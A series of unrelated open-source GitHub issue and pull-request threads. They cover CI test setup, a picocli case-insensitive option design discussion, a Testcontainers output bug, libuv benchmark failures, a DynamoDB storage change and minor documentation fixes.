This pull request belongs to an issue on our bugtracker. You can find it there by looking for an issue with the key which is mentioned in the title of this pull request. It starts with the keyword IGAPP.

Farsi is not possible neither for android nor for ios. So i did not add these screenshots.
Not sure about naming of the ios files. Can someone please check?
Did not make any changes in the stores.

Looking good apart from the naming issues

Before starting to do this, i would:

Rename folders to the language codes in the code in the manage-metadata.ts file.
Copy iPad screenshots and rename one of them, so they have a string IPAD_PRO_3GEN_129 in the filename. Will keep the name of the other iPad screenshots. I think duplicates are needed here.

I would not rename all ios files so the ordering number is at the beginning, because they have the number, which leads to the correct ordering and it would be a lot of effort for almost no benefit.
Is this fine for you and the changes you requested or am I missing something. Would really appreciate not to get change request and need to rename everything later again.

I did all the renaming in #705, please have a look and let me know if that works for you :)


Missing unit test work after changing code snippet building process

Description
As title, since we've changed the code snippets building process, some works are missed during Travis CI build.
As we look at the .travis.yml, it only has the code snippets building and it doesn't have any unit test works to validate these code snippet behaviors reliable and expected.
And it also misses the section of how-to test cases writing on CONTRIBUTING.md
IMHO, we should add this back and add contributing tips about unit test writing.
@sohelamin, and @Chalarangelo, please concern this at your available time.
And recommend current solution to accomplish this issue.
Thanks :).

The test system was dropped by the @30-seconds/meta team during the transition, but its artifacts remain in the repository. The intent was for the @30-seconds/php team to pick this up and make it usable, open a PR and, after reviewing and checking, merge and update Travis integration.
I would love to see this updated with a system that extract the usable code from snippets and creates tests automagically, like the JS repo. I can't help much with this, however, as my PHP knowledge is rather limited and my time is even more limited lately.

Hi @Chalarangelo, thanks for your reply.
IMHO, my current solution is as follows:

Editing the .travis.yml setting file and we can changed into following snippets:

language: node_js
cache:
  directories:
    - node_modules
node_js:
- lts/*
script:
- composer install
- phpunit
- npm run extractor
- npm run builder
after_success:
- chmod +x .travis/push.sh
- .travis/push.sh

Add the current tests to the current Test class on tests folder.

What do you think about this solution?
And now I'm going to research how to let Node.js and PHP can run on Travis CI build at the same moment :thinking:.

Running both php and nodejs is tricky enoguh, but I think it's doable - I read somewhere there is a way to add the environments as an array or something.
The issue is that tests are still manual and snippets have to be added to a central file to be tested, correct? We should find a way to abstract this, if possible.

Hi @Chalarangelo, thanks for your reply. The test snippets still are manual for contributors.
Do you have any way to abstract this? Customizing the npm script or php scripts to generate test snippets abstract or other possible way to resolve this?
The code snippet guideline has abstract now.

If we can't automatically identify missing tests - meaning snippets without test coverage - then we will have to manually curate all of the codebase to know where tests are missing. Testing is great, don't get me wrong, but the maintenance cost might not be worth it if we have to follow up on every snippet to check if it is added to the list of snippets, if it has tests and if tests are working as intended. This will require the repo's team to manually check every PR before merging and, as it currently seems, we are all not very active in terms of maintaining this repo.
I'm not saying we shouldn't have tests, but automating them on each PR on Travis, without having a way to block PRs from merging when snippets are not properly tested, might not be the optimal solution. In my mind it's a situation where we either have both automations set up or none at all.

Thanks for your reply, @Chalarangelo.
I think we can resolve this automatic test problem.
Let every snippet split to single class PHP files
And use simple script to check whether the snippets are existing.
If not, the Travis CI build will be expected to be failed.

I am closing this yet again due to inactivity. If someone actually starts working on this feature, open a PR for it and we can track it there. Thank you.


nodePackages.btc-rpc-explorer: fix build

Description of changes
btc-rpc-explorer refers to another package by its Git repository name, btc-rpc-client, while that package calls itself bitcoin-core. This discrepancy makes the dependency pinpointing logic unable to resolve the package name correctly. Here we map the dependency's name to the name expected by btc-rpc-explorer instead.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Adding new packages to nodePackages is highly discouraged because of its size and unmaintainable status. Please use buildNpmPackage instead which is easier and significantly faster to use and does not rely on codegen.


Dead link

The link to the demo provided in the readme.md is dead.

This video is no longer available because the YouTube account associated with this video has been terminated.

Thanks for reporting. It seems that the video has been reuploaded on a different account at https://www.youtube.com/watch?v=pwCzMFoheGw. Will update the README soon.

Issue has been fixed.


setOptionsCaseInsensitive should make negatable options case insensitive

This is a follow-up ticket for #9 (case-insensitive option parsing).
As pointed out by @NewbieOrange and @ifsheldon on https://github.com/remkop/picocli/pull/1029, the negatable option transformer created by RegexTransformer.createDefault is always case sensitive and is not impacted by case sensitive mode.
This is not intentional: calling setOptionsCaseInsensitive(true)  should also make negatable options case insensitive.
One idea is that we add a factory method RegexTransformer::createCaseInsensitive that would return a case insensitive transformer. Then, in the CommandSpec::optionsCaseInsensitive setter method, we would set the negatableOptionTransformer field to the case insensitive transformer.
The javadoc for the CommandSpec::optionsCaseInsensitive setter and the CommandLine::setOptionsCaseInsensitive setter should warn users that the transformer is replaced when changing case sensitivity, so if applications have a custom transformer, they should install it after changing case sensitivity.

I am not sure about the connection between options being case-insensitive and the transformer's case-insensitivity. For example, even if the options are case-sensitive, shouldn't --NO-VERBOSE still a valid negative form of --VERBOSE?
Probably just make the transformer case-insensitive is fine? --NO-VERBOSE is always the negative form of --VERBOSE regardless of the option's case-sensitivitiy.

So, ignoring the case-insensitivity part, if there is a option --NO-VERBOSE, should its negative form being --verbose or --VERBOSE? or if there is --VERBOSE, is it --NO-VERBOSE, --no-VERBOSE or something else?
I am a bit confused right now. 🤨

If we make the transformer case-insensitive, i.e. --VERBOSE to --no-VERBOSE and --NO-VERBOSE to --verbose, the bahaviour should make sense in case-insensitive mode, and consistent with previous behaviour (before case-insensivitivity is introduced) in case-sensitive mode.

Good questions. I believe it should work as follows.
Default (case sensitive)

Option name
Negated form

--verbose
--no-verbose

--no-verbose
--verbose

--VERBOSE
--no-VERBOSE

--no-VERBOSE
--VERBOSE

--NO-VERBOSE
--no-NO-VERBOSE

Note that by default, the --NO-VERBOSE option is simply considered a long option, it is not considered to be the negated form of --VERBOSE. This is how RegexTransformer.createDefault is implemented and I believe this is fine.
Case Insensitive mode
In case insensitive mode, the display label for the negated form of --verbose would still be --[no-]verbose, but the parser would recognize --NO-VERBOSE, --No-Verbose, --nO-vErbOsE, --no-verbose and more as the negated form of --VERBOSE, --verbose, --verBOSE, etc.

Option name
Example Match
Negated form
Example negated match

--verbose
--VeRboSE
--no-verbose
--No-VERbose

--no-verbose
--NO-VErbOsE
--verbose
--verBOSE

--VERBOSE
--VeRboSE
--no-VERBOSE
--NO-VERBOSe

--no-VERBOSE
--NO-VErbOsE
--VERBOSE
--VerBOSE

--NO-VERBOSE
--NO-VErbOsE
--VERBOSE
--VERBOSe

The case sensitive transformer impl. could perhaps look like this (I have not tested this):
CommandLine.RegexTransformer transformer = new CommandLine.RegexTransformer.Builder()
        .addPattern("(?i)^--no-(\\w(-|\\w)*)$", "--$1", "--[no-]$1")
        .addPattern("^--(\\w(-|\\w)*)$", "--no-$1", "--[no-]$1")
        .addPattern("^(-|--)(\\w*:)\\+(\\w(-|\\w)*)$", "$1$2-$3", "$1$2(+|-)$3")
        .addPattern("^(-|--)(\\w*:)\\-(\\w(-|\\w)*)$", "$1$2+$3", "$1$2(+|-)$3")
        .build();

By prefixing the regular expression with (?i), the match becomes case insensitive.
(Need to think a bit about reducing the duplicate code.)

So, in #1029 , the bahaviour is

Option name
Example Match
Negated form
Example negated match

--verbose
--VeRboSE
--no-verbose
--No-VERbose

--no-verbose
--NO-VErbOsE
--verbose
--verBOSE

--VERBOSE
--VeRboSE
--no-VERBOSE
--NO-VERBOSe

--no-VERBOSE
--NO-VErbOsE
--VERBOSE
--VerBOSE

--NO-VERBOSE
--NO-VErbOsE
--NO-NO-VERBOSE
--no-no-VERBOSe

This probably makes more sense? When registering a command, the behaviour about the --NO- prefix should be consistent to avoid confusion. If --NO is not negated form in case-sensitive, why would it be negated in case-insensitive?
To put it another way, why would a command changes whether it is negated or not when the case-sensitivitity change? (the only thing changes should be whether the string matching (parsing) is case-sensitive or not) This will probably introduce more confusion.

What is the current spec
In the default (case sensitive) mode,  if an application creates a negatable option --verbose, I believe picocli should only match --no-verbose as the negated form. While it is true that the user manual section on negatable options does not explicitly mention case sensitivity, I believe most users will assume that the --no- prefix  is case sensitive.
Should we change the spec?
It is possible to change this and redefine negatable options such that the --no- prefix is always case insensitive. That way, even in the default (case sensitive) mode, picocli would match --NO-verbose as well as --no-verbose (and --No-verbose, --nO-verbose) as the negated form.
While this is possible, I don't see the benefits of doing so. I think this is more confusing, not less.
Another (minor) disadvantage is that this would mean it is no longer possible for applications to define separate --NO-x and --No-x options if the --x option is negatable.
If an application has all uppercase options (like --VERBOSE), and they want to use the --NO- prefix to make --NO-VERBOSE the negated form, then they can register a custom INegatableOptionTransformer to accomplish this.

That does make sense. How about just leave the default transformer as-is? (even if in case-insensitive still does not take --NO)

I believe that it is reasonable for users to expect that after setting CommandLine.setOptionsCaseInsensitive to true, negated options would also become case insensitive. To me, this would be the most "natural" behaviour.

Well, the negated options technically are case-insensitive, only when adding an option, the developers need to use -no instead of -NO.
My concern about the transformer behaving differently with the case-sensitive setting is, if an option is added with case-insensitive off, but then turn on case-insensitive (or vice versa), what is the expected behaviour (or if we only change the transformer, what will the current implementation behaves)?

Well, the negated options technically are case-insensitive, only when adding an option, the developers need to use -no instead of -NO.

I propose that when case-insensitive mode is switched on, the transformer is replaced by one that uses the "(?i)^--no-(\\w(-|\\w)*)$" pattern so that it matches the --no- prefix in a case-insensitive manner. See the example code at the bottom of this comment.

if an option is added with case-insensitive off, but then turn on case-insensitive (or vice versa), what is the expected behaviour

Not sure I understand the question... The expected behaviour is that picocli will match option names in the user input in a case-insensitive manner.

(or if we only change the transformer, what will the current implementation behave)?

Not sure I understand the question... The current transformer (the one returned by RegexTransformer.createDefault is case sensitive and this is the one used in default (case sensitive) mode.
When an application turns on case insensitive mode, I propose that this transformer is replaced by one that uses the "(?i)^--no-(\\w(-|\\w)*)$" pattern so that it matches the --no- prefix in a case-insensitive manner.
So, in CommandSpec:
public CommandSpec optionsCaseInsensitive(boolean caseInsensitiveOptions) {
    if (optionsByNameMap.isCaseInsensitive() == caseInsensitiveOptions) { return this; } // no change, no action
    optionsByNameMap.setCaseInsensitive(caseInsensitiveOptions);
    negatedOptionsByNameMap.setCaseInsensitive(caseInsensitiveOptions);
    posixOptionsByKeyMap.setCaseInsensitive(caseInsensitiveOptions);

    // I propose to add this
    INegatableOptionTransformer old = negatableOptionTransformer;
    negatableOptionTransformer = caseInsensitiveOptions
            ? RegexTransformer.createCaseInsensitive()
            : RegexTransformer.createDefault();
    new Tracer().debug("optionsCaseInsensitive was set to %s. Replaced %s with %s.%n",
            caseInsensitiveOptions, old, negatableOptionTransformer);
    return this;
}

For example:
class NegOptDupli {
    @Option(names = "--verbose", negatable = true) boolean verbose;
    @Option(names = "--NO-verbose") boolean noVerbose;
}
new CommandLine(new NegOptDupli()).setCaseInsensitive(true);

When the CommandLine is constructed, --NO-verbose is not a negated command, but after setCaseInsensitive, it should be a negated command. So we should trigger a 'reload' of all commands (adding to maps, checking duplciations) after each case-sensitivity change?

Aha! Now I understand. Yes, good point.
Indeed, we should revalidate duplicate options and subcommands when case sensitivity is changed.
I believe your PR https://github.com/remkop/picocli/pull/1029 may already do this, or only partially?

PR #1029 only checks duplications from keys in both optionMap and negatedOptionMap, that is, not calling the transformer.makeNegative() method.
To validate the maps after chaging the transformer, would probably be slightly more complicated. Since the result from makeNagative is possibly different, contents from negatedOptionsByNameMap might be outdated, basically needs to redo the addOptionNegative functions for all negatable options. Then, after negatedOptionsByNameMap is updated, there might be non-negatable options being a duplication to the 'new' negated options.
In conclusion, to make the change in transformer work, all registered options need to be somewhat 're-added'.

Yes, that makes sense. Thank you for pointing that out!

Out of interest, why do we need the negatedOptionsByNameMap instead of putting both normal and negated form into the optionsByNameMap? (besides compatibility reasons)

The fact that negatedOptionsByNameMap is a separate map makes it easier to re-register the options when the transformer is changed.
FYI, it looks like a utility method to do this already exists: CommandSpec::resetNegativeOptionNames, which is called from the CommandSpec::negatableOptionTransformer setter.

Oh, I get it now. But I think without it is not harder when changing transformer? For example, picocli could remove all negated options form using the original transformer from optionsByNameMap then re-adds them with the new transformer, which is, not more complicated than the current 'clear then readd' method. It also comes with the benefit of less duplicate checking for duplication.
Already updated my branch with the new case-insensitive RegexTransformer and some fixes and tests. Just my two cents, but probably something can be done in 5.0.
For now, I have updated my PR with following changes:
* Add a new case-insensitive RegexTransformer
* Replace negatableOptionTransformer on toggle case-sensitivity
* Validate negatedOptionsByNameMap after transformer changed
* Fix null name in addOptionNegative exception message

Could not figure out how to name the new tests, using numbers for now.

Fantastic!
It is getting late for me; I will review the PR tomorrow. Many thanks!!

PR merged into master.
Many thanks!!


ToStringConsumer adds spurious newline to execInContainer outputs

When fetching stdout from an execInContainer Result object, an extra newline is added at the end of each frame. In our case, every 4097th char is a newline, which may break up a word.
The problem exists because ExecInContainerPattern.execInContainer() uses ToStringConsumer to collect stdout and stderr. Said classes adds a newline to before all but the first frame of data.
We need the exact output for our tests, and would appreciate a fix, or at least make this behavior configurable.

Hey @weiminyu thanks for already investigating this, your description sounds valid.
With regards to #1763 it would be nice, if we could solve at a single point, to a bit more DRY.
Would you like to provide a PR for it?
@rnorth @bsideup Anything to add? It would be a "soft" breaking API change in case users are currently depending on this flawed behavior (which might very well be the case).

Update: the issue seems to have gone away by itself. Now I see the entire stdout passed as one OutputFrame to ToStringConsumer, and newline becomes a non-issue.
We did not upgrade testcontainer nor made any obviously related changes. Maybe this is a transitive dependency change wrt Docker?
Our output is less than 8K bytes. I'm unclear if the issue is fixed for all use cases However, for us this is no longer a pressing issue. Please feel free to close.
Thanks.

We see line breaks again in version 1.15.0-rc2. (Tested with Docker/Mac <IP_ADDRESS> and <IP_ADDRESS>)
Testcase:
@Testcontainers
public class NewLineContainerTest {

    static class AlpineContainer extends GenericContainer<AlpineContainer> {
        public AlpineContainer() {
            super("alpine");
        }

        @Override
        protected void configure() {
            super.configure();
            this.withCommand("sleep", "2m");
        }
    }

    @Container
    private static final AlpineContainer container = new AlpineContainer();

    @Test
    public void test() throws Exception {
        String largeString = RandomStringUtils.randomAlphabetic(100000);
        System.out.println(largeString.contains("\n")); // returns false
        ExecResult build = container.execInContainer("echo", largeString);
        System.out.println(build.getStdout());
        System.out.println(build.getStdout().contains("\n")); // returns true
    }
}

Same here, upgrading from 1.14.3 to 1.15.1 makes a lot of our tests fail because of newline in the output that we never had before.

Thanks for the test case @ReuDa. I used it to create a unit test in this MR where I fixed this: https://github.com/testcontainers/testcontainers-java/pull/3752 (I hope this was fine with you, assuming the snippet you posted could be considered public domain).


Rename container -> collection to prepare for renaming Table -> Container

Summary

This PR is a renaming
It does the following:

Renames "container" to "collection"

Inlet uses "container" in its internal implementation to refer to the union of arrays and dictionaries.  Because Table is going to be renamed to Container, it needs to be renamed.  The term "container" is not part of the external interface so it will not affect user  code.
Other options (instead of collection) could be data structure (too vague, in my opinion) or associative array (as even integer-keyed arrays are associative).

LGTM

LGTM


prerelease build always runs on main branch

Even when triggered from a tests build on a different branch, it runs on the main branch. This is a built-in limitation of GitHub Actions. The solution is to not use the worflow_run trigger. Either combine the prerelease build with the tests build or figure out how to use workflow dispatch here: https://github.blog/changelog/2020-07-06-github-actions-manual-triggers-with-workflow_dispatch/

prerelease build has been removed as it was too finicky.


Object Capabilities and Capability-based Security

https://github.com/dckc/awesome-ocap under security
Capability security enables the concise composition of powerful patterns of cooperation without vulnerability at large and small scales: chips, operating systems (formally verified, open source), languages, frameworks, applications, and services.

Thanks for making an Awesome list! 🙌
It looks like you didn't read the guidelines closely enough. I noticed multiple things that are not followed. Try going through the list point for point to ensure you follow it. I spent a lot of time creating the guidelines so I wouldn't have to comment on common mistakes, and rather spend my time improving Awesome.

Darn; I think I spent half an hour reading and applying the guidelines. If you'd point out one or two specific things that I missed, I'd appreciate it. Otherwise, I suppose I'll figure it out eventually...

I found these things (not complete list, please try to go through the checklist one by one)

[ ] Includes the Awesome badge. Should be placed on the right side of the readme heading.

[ ] The link and description are separated by a dash. Example: - [AVA](…) - JavaScript test runner.

[ ] The description starts with an uppercase character and ends with a period.

Counter examples:

connecting to external HTTP APIs via the Powerbox and related powerbox enhancements v0.200 (2017-01-28), v0.203 (2017-03-02)
Tahoe-LAFS is a highly ...

As far as I understand the guidelines, please

[ ] do not use items as headings
[ ] do not include more text. A short title of the link (as description) is enough. Not paragraphs of text to read.

Ping. Please also see #1363.

Closing for lack of response.


Posed monocular rgb as input

Hello, thanks for your awesome work.
I want to apply it to posed monocular indoor scenes (some pretty large) (retail stores, my own dataset).
I have images and camera poses extracted with colmap (cvg/hloc)
What is the easiest way to do it?
Which architecture should I try first?

Hi,
I have just updated something you might need.
You could use dataio.colmap_dataset.COLMAPDataset in this case, with docs written here.
As a starting point, I suggest you follow the monocular priors extraction process in the above link.
Then you can try with this experimental config yaml.
You should carefully estimate the center and scale (bounding_size) of each of your dataset. I have provided some automatic tools in nr3d_lib.geometry.normalize_views, but they are mostly meant for object-centric datasets and not for indoor datasets.


[Bug](point query) Reusable in PointQueryExecutor should  call init b…

…efore add to LookupCache
Otherwise in high concurrent query, _block_pool maybe used before Reusable::init done in other threads
Proposed changes
Issue Number: close #xxx
Problem summary
Describe your changes.
Checklist(Required)

Does it affect the original behavior:

[ ] Yes
[ ] No
[ ] I don't know

Has unit tests been added:

[ ] Yes
[ ] No
[ ] No Need

Has document been added or modified:

[ ] Yes
[ ] No
[ ] No Need

Does it need to update dependencies:

[ ] Yes
[ ] No

Are there any changes that cannot be rolled back:

[ ] Yes (If Yes, please explain WHY)
[ ] No

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

TeamCity pipeline, clickbench performance test result:
the sum of best hot time: 34.83 seconds
load time: 479 seconds
storage size:<PHONE_NUMBER>7 Bytes
https://doris-community-test-1308700295.cos.ap-hongkong.myqcloud.com/tmp/20230207162948_clickbench_pr_91719.html


Spelling Errors in Documentation

Is this a BUG REPORT or FEATURE REQUEST?

BUG REPORT

What happened:
Several minor spelling errors have been identified throughout the documentation. These errors impact the overall readability and professionalism of the content.
What you expected to happen:
The documentation will be free of minor spelling error

Hello @Saranya-jena @neelanjan00  Please review my pull request #278
Thank you


Footer content hidden due to Chat bot

You want to work on it
Yes

@nodece
What do you want then?

yes

@hsluoyz  can I do something for it.

@chetan-v Could you improve the chat button?

What can you do?

@hsluoyz @nodece can I resize the chatbot button for mobile site only

Or we can also stand vertical this botton

@chetan-v Could you improve the chat button?

Yes I can


Revamp the API Docs

Description
Need to do a full revamp of the API Docs in [lib.ballerina.io](https://lib.ballerina.io/). Basically, this should be focussed on improving the user experience and the look and feel of it.
Related website/documentation area

Add/Uncomment the relevant area label out of the following.

Describe your task(s)

A detailed description of the task.

Related issue(s) (optional)

Any related issues such as sub tasks and issues reported in other repositories (e.g., component repositories), similar problems, etc.

Suggested label(s) (optional)

Optional comma-separated list of suggested labels. Non committers can’t assign labels to issues, and thereby, this will help issue creators who are not a committer to suggest possible labels.

Suggested assignee(s) (optional)

Optional comma-separated list of suggested team members who should attend the issue. Non committers can’t assign issues to assignees, and thereby, this will help issue creators who are not a committer to suggest possible assignees.

Revamped https://central.ballerina.io/


Speed up download time with Webpack

I notice that the node_module folder is included in the tag of the publication and need it at run time, but it's very big. I modified to use Webpack to package the project, In my sel-hosted, the Set Up Job step saves 15 seconds. so I recommend using it and remove node_module from tag.

hi @mayong43111  - I'm working out some of the PR CI/CD tests and wasn't able to get them to run on your PR.  We adopted the work into PR #74, thank you for the conversion to webpack.  I'll be getting another release tag out shortly.


Add sub-table name for dynamodb storage

Closes #116

What should be the name of the subkey? subtable_name doesn't sound great
This defines the canonical path as dynamodb://{region}/{table_name}:{subtable_name}. A colon is not a valid DynamoDB table identifier
I don't know why Mypy is unhappy with cogeo_mosaic/backends/dynamodb.py:64: error: Module has no attribute "matches_re"

It would probably also be good to have

a delete method, so that you can delete one of the subtables. This would read the metadata for a single subkey and then iterate over its quadkeys, calling a delete operation on each one
a key to list all subkeys that exist in the table. Use something like -2 (?) (since we already use -1 for the mosaic metadata), and have it contain a list of strings that are the subkeys that exist in the table. This would need to stay updated with the CRUD operations.
Would we want to prevent a full overwrite of the table? Currently one of the methods will delete and create a new table if overwrite=True.

@kylebarron thanks for starting this!
With help from @leothomas I've created a new PR to handler this https://github.com/developmentseed/cogeo-mosaic/pull/127


Update SearchHelper.cs

Fixed danbooru to use a bit more of the build in system to randomly select an image, might work faster if "&limit=1" is added to the image search link but haven't tried this yet.

ive got a further upgrade that replaces sample images with the full size versions

To get full sized images all you need to change is
var matches = Regex.Matches(webpage, "data-large-file-url=\"(?<id>.*?)\"");
to
var matches = Regex.Matches(webpage, "data-file-url=\"(?<id>.*?)\"");

won't this reduce the number of allowed tags from 2 to 1?

Hmm, I forgot about that limit, mainly because I upped it to 5 on the booru I run but yes it will reduce it to one, I think it would be nice to add support for the API login so people can increase the search limit to 6 or 12 depending if they have gold or platinum.


Fix for Issue #92 - fs.watch Handler on Mac OS X Invoked Before Tests Complete

Tested out the suggested fix for issue #92. Had no issues on Mac OS 11.4

Coverage increased (+0.6%) to 98.182% when pulling 8de6096925f3f2177b8506afb0dc5060fda501be on jkworth:issue-92-fix into 94c17a2445b4f87c3583a42e7283ec65f6dc5783 on markis:master.

Coverage increased (+0.6%) to 98.182% when pulling 8de6096925f3f2177b8506afb0dc5060fda501be on jkworth:issue-92-fix into 94c17a2445b4f87c3583a42e7283ec65f6dc5783 on markis:master.


Some benchmarks are broken

(git|v1.x)saghul@alpha:~/src/libuv-pristine
$ ./out/Debug/run-benchmarks
uv_shutdown_t: 80 bytes
uv_write_t: 192 bytes
uv_connect_t: 96 bytes
uv_udp_send_t: 320 bytes
uv_tcp_t: 248 bytes
uv_pipe_t: 264 bytes
uv_tty_t: 312 bytes
uv_prepare_t: 120 bytes
uv_check_t: 120 bytes
uv_idle_t: 120 bytes
uv_async_t: 128 bytes
uv_timer_t: 152 bytes
uv_fs_poll_t: 104 bytes
uv_fs_event_t: 136 bytes
uv_process_t: 136 bytes
uv_poll_t: 160 bytes
uv_loop_t: 848 bytes

loop_count: 2000000 ticks in 0.65s (3098116/s)
loop_count: 16562227 ticks (3312445 ticks/s)
ping_pongs: 43927 roundtrips/s
1000000 write requests in 1.09s.

`tcp_pump100_client` failed: timeout
Output from process `tcp_pump100_client`: (no output)
Output from process `tcp_pump100_client`: (no output)
=============================================================

tcp_pump1_server: 10.8 gbit/s
tcp_pump1_client: 10.8 gbit/s
tcp-conn-pound-100: 23249 accepts/s (0 failed)
tcp-conn-pound-1000: 18399 accepts/s (0 failed)

`pipe_pump100_client` failed: timeout
Output from process `pipe_pump100_client`: (no output)
Output from process `pipe_pump100_client`: (no output)
=============================================================
pipe_pump1_server: 16.6 gbit/s
pipe_pump1_client: 16.6 gbit/s
pipe-conn-pound-100: 80981 accepts/s (0 failed)
pipe-conn-pound-1000: 69045 accepts/s (162136 failed)

`tcp_multi_accept2` failed: exit code 134
Output from process `tcp_multi_accept2`:
Assertion failed in ../test/benchmark-multi-accept.c on line 354: 0 == uv_tcp_connect(&ctx->connect_req, (uv_tcp_t*) &ctx->client_handle, (const struct sockaddr*) &listen_addr, cl_connect_cb)
=============================================================

`tcp_multi_accept4` failed: exit code 134
Output from process `tcp_multi_accept4`:
Assertion failed in ../test/benchmark-multi-accept.c on line 395: 0 == uv_tcp_connect(&ctx->connect_req, handle, (const struct sockaddr*) &listen_addr, cl_connect_cb)
=============================================================

`tcp_multi_accept8` failed: exit code 134
Output from process `tcp_multi_accept8`:
Assertion failed in ../test/benchmark-multi-accept.c on line 395: 0 == uv_tcp_connect(&ctx->connect_req, handle, (const struct sockaddr*) &listen_addr, cl_connect_cb)
=============================================================
udp_pummel_1v1: 12/s received, 376223/s sent. 33 received, 1000000 sent in 2.7 seconds.
udp_pummel_10v1: 12/s received, 377644/s sent. 33 received, 1000000 sent in 2.6 seconds.
udp_pummel_100v1: 12/s received, 367512/s sent. 33 received, 1000000 sent in 2.7 seconds.
udp_pummel_1000v1: 12/s received, 372301/s sent. 33 received, 1000000 sent in 2.7 seconds.
udp_pummel_10v10: 16/s received, 381243/s sent. 42 received, 1000000 sent in 2.6 seconds.
udp_pummel_100v10: 16/s received, 377358/s sent. 42 received, 1000000 sent in 2.6 seconds.
udp_pummel_1000v10: 16/s received, 379795/s sent. 42 received, 1000000 sent in 2.6 seconds.
udp_pummel_100v100: 50/s received, 376364/s sent. 132 received, 1000000 sent in 2.7 seconds.
udp_pummel_1000v100: 50/s received, 380373/s sent. 132 received, 1000000 sent in 2.6 seconds.
udp_pummel_1000v1000: 388/s received, 375657/s sent. 1032 received, 1000000 sent in 2.7 seconds.

`udp_timed_pummel_1v1` failed: timeout
Output from process `udp_timed_pummel_1v1`: (no output)
=============================================================

`udp_timed_pummel_1v10` failed: timeout
Output from process `udp_timed_pummel_1v10`: (no output)
=============================================================

`udp_timed_pummel_1v100` failed: timeout
Output from process `udp_timed_pummel_1v100`: (no output)
=============================================================

`udp_timed_pummel_1v1000` failed: timeout
Output from process `udp_timed_pummel_1v1000`: (no output)
=============================================================

`udp_timed_pummel_10v10` failed: timeout
Output from process `udp_timed_pummel_10v10`: (no output)
=============================================================

`udp_timed_pummel_10v100` failed: timeout
Output from process `udp_timed_pummel_10v100`: (no output)
=============================================================

`udp_timed_pummel_10v1000` failed: timeout
Output from process `udp_timed_pummel_10v1000`: (no output)
=============================================================

`udp_timed_pummel_100v100` failed: timeout
Output from process `udp_timed_pummel_100v100`: (no output)
=============================================================

`udp_timed_pummel_100v1000` failed: timeout
Output from process `udp_timed_pummel_100v1000`: (no output)
=============================================================

`udp_timed_pummel_1000v1000` failed: timeout
Output from process `udp_timed_pummel_1000v1000`: (no output)
=============================================================
getaddrinfo: 28736 req/s
1,000,000 stats (sync): 0.55s (1,817,498/s)
100,000 stats (1 concurrent): 1.29s (77,569/s)
100,000 stats (2 concurrent): 0.79s (127,133/s)
100,000 stats (3 concurrent): 0.55s (180,542/s)
100,000 stats (4 concurrent): 0.44s (226,898/s)
100,000 stats (5 concurrent): 0.38s (264,679/s)
100,000 stats (6 concurrent): 0.35s (283,473/s)
100,000 stats (7 concurrent): 0.41s (245,947/s)
100,000 stats (8 concurrent): 0.29s (348,632/s)
100,000 stats (9 concurrent): 0.26s (391,441/s)
100,000 stats (10 concurrent): 0.25s (402,500/s)
100,000 stats (11 concurrent): 0.24s (411,143/s)
100,000 stats (12 concurrent): 0.24s (420,843/s)
100,000 stats (13 concurrent): 0.27s (376,997/s)
100,000 stats (14 concurrent): 0.28s (351,817/s)
100,000 stats (15 concurrent): 0.20s (489,313/s)
100,000 stats (16 concurrent): 0.19s (526,484/s)
100,000 stats (17 concurrent): 0.18s (569,240/s)
100,000 stats (18 concurrent): 0.23s (441,083/s)
100,000 stats (19 concurrent): 0.32s (308,411/s)
100,000 stats (20 concurrent): 0.31s (320,572/s)
<buffer too small> stats (21 concurrent): 0.26s (<buffer too small>/s)
<buffer too small> stats (22 concurrent): 0.28s (<buffer too small>/s)
<buffer too small> stats (23 concurrent): 0.34s (<buffer too small>/s)
<buffer too small> stats (24 concurrent): 0.28s (<buffer too small>/s)
<buffer too small> stats (25 concurrent): 0.26s (<buffer too small>/s)
<buffer too small> stats (26 concurrent): 0.26s (<buffer too small>/s)
<buffer too small> stats (27 concurrent): 0.27s (<buffer too small>/s)
<buffer too small> stats (28 concurrent): 0.26s (<buffer too small>/s)
<buffer too small> stats (29 concurrent): 0.24s (<buffer too small>/s)
<buffer too small> stats (30 concurrent): 0.23s (<buffer too small>/s)
<buffer too small> stats (31 concurrent): 0.18s (<buffer too small>/s)
<buffer too small> stats (32 concurrent): 0.22s (<buffer too small>/s)
async1: 9.38 sec (106,598/sec)
async2: 12.08 sec (82,753/sec)
async4: 11.23 sec (89,016/sec)
async8: 19.61 sec (51,004/sec)
async_pummel_1: 1,000,000 callbacks in 6.17 seconds (162,056/sec)
async_pummel_2: 1,000,000 callbacks in 5.09 seconds (196,272/sec)
async_pummel_4: 1,000,000 callbacks in 6.97 seconds (143,551/sec)
async_pummel_8: 1,000,000 callbacks in 9.35 seconds (106,958/sec)
spawn: 629 spawns/s
20000 threads created in 0.54 seconds (37043/s)
8,551,924 async events in 5.0 seconds (1,710,384/s, 1,048,576 unique handles seen)
21.70 seconds total
3.56 seconds init
16.89 seconds dispatch
1.26 seconds cleanup

I can try to fix some of these (if no one else is working on it at the moment :-))

@jBarz Go ahead if it's not too much work.  If they need major surgery, perhaps we're better off removing them.  They are, by and large, micro-benchmarks - not without value but not hugely valuable either.


Promote integration-service from staging to production

Included PRs:

https://github.com/redhat-appstudio/integration-service/pull/515
https://github.com/redhat-appstudio/integration-service/pull/506
https://github.com/redhat-appstudio/integration-service/pull/517
https://github.com/redhat-appstudio/integration-service/pull/511
https://github.com/redhat-appstudio/integration-service/pull/520

/lgtm
/approve


Update sui-json.md

Changed the type of list for Identifier. There was white list, doen’t look good on doc.

Thanks @Romainua again for your contributions!


Endoc 673- MT CDS tutorial

